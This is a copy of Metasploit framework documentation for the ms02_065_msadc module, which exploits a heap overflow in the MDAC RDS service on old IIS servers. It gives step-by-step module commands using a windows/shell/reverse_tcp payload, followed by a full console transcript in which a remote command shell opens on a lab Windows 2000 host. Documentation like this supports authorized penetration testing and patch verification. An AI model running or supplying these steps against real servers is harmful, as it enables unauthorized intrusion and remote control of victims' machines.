CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
 Path: blob/master/documentation/modules/exploit/windows/iis/ms02_065_msadc.md
Views: 11788

Vulnerable Application

This module can be used to execute arbitrary code on IIS servers that expose the /msadc/msadcs.dll Microsoft Data Access Components (MDAC) Remote Data Service (RDS) DataFactory service. The service is exploitable even when RDS is configured to deny remote connections (handsafe.reg). The service is vulnerable to a heap overflow where the RDS DataStub 'Content-Type' string is overly long. Microsoft Data Access Components (MDAC) 2.1 through 2.6 are known to be vulnerable.

This module has been tested successfully on:

  • Windows 2000 Pro SP0-SP3 (English)

  • Windows 2000 Pro SP0 (Korean)

  • Windows 2000 Pro SP0 (Dutch)

  • Windows 2000 Pro SP0 (Finnish)

  • Windows 2000 Pro SP0 (Turkish)

  • Windows 2000 Pro SP0-SP1 (Greek)

  • Windows 2000 Pro SP1 (Arabic)

  • Windows 2000 Pro SP1 (Czech)

  • Windows 2000 Pro SP2 (French)

  • Windows 2000 Pro SP2 (Portuguese)

Verification Steps

  1. use exploit/windows/iis/ms02_065_msadc

  2. set RHOSTS [IP]

  3. show targets to see the possible targets

  4. set TARGET [TARGET]

  5. set PAYLOAD windows/shell/reverse_tcp

  6. set LHOST [IP]

  7. run

Options

TARGETURI

The path to msadcs.dll (Default: /msadc/msadcs.dll)

Scenarios

Windows 2000 Professional SP3 (EN)

msf6 > use exploit/windows/iis/ms02_065_msadc
[*] Using configured payload windows/shell/reverse_tcp
msf6 exploit(windows/iis/ms02_065_msadc) > set rhosts 192.168.200.186
rhosts => 192.168.200.186
msf6 exploit(windows/iis/ms02_065_msadc) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Windows 2000 Pro SP0-SP3 (English)
   1   Windows 2000 Pro SP0 (Korean)
   2   Windows 2000 Pro SP0 (Dutch)
   3   Windows 2000 Pro SP0 (Finnish)
   4   Windows 2000 Pro SP0 (Turkish)
   5   Windows 2000 Pro SP0-SP1 (Greek)
   6   Windows 2000 Pro SP1 (Arabic)
   7   Windows 2000 Pro SP1 (Czech)
   8   Windows 2000 Pro SP2 (French)
   9   Windows 2000 Pro SP2 (Portuguese)


msf6 exploit(windows/iis/ms02_065_msadc) > set target 0
target => 0
msf6 exploit(windows/iis/ms02_065_msadc) > set lhost 192.168.200.130
lhost => 192.168.200.130
msf6 exploit(windows/iis/ms02_065_msadc) > check
[*] 192.168.200.186:80 - The service is running, but could not be validated. /msadc/msadcs.dll content type matches fingerprint application/x-varg
msf6 exploit(windows/iis/ms02_065_msadc) > run

[*] Started reverse TCP handler on 192.168.200.130:4444
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (267 bytes) to 192.168.200.186
[*] Command shell session 1 opened (192.168.200.130:4444 -> 192.168.200.186:1028) at 2022-07-07 10:13:35 -0400


Shell Banner:
Microsoft Windows 2000 [Version 5.00.2195]
-----


C:\WINNT\system32>ver
ver

Microsoft Windows 2000 [Version 5.00.2195]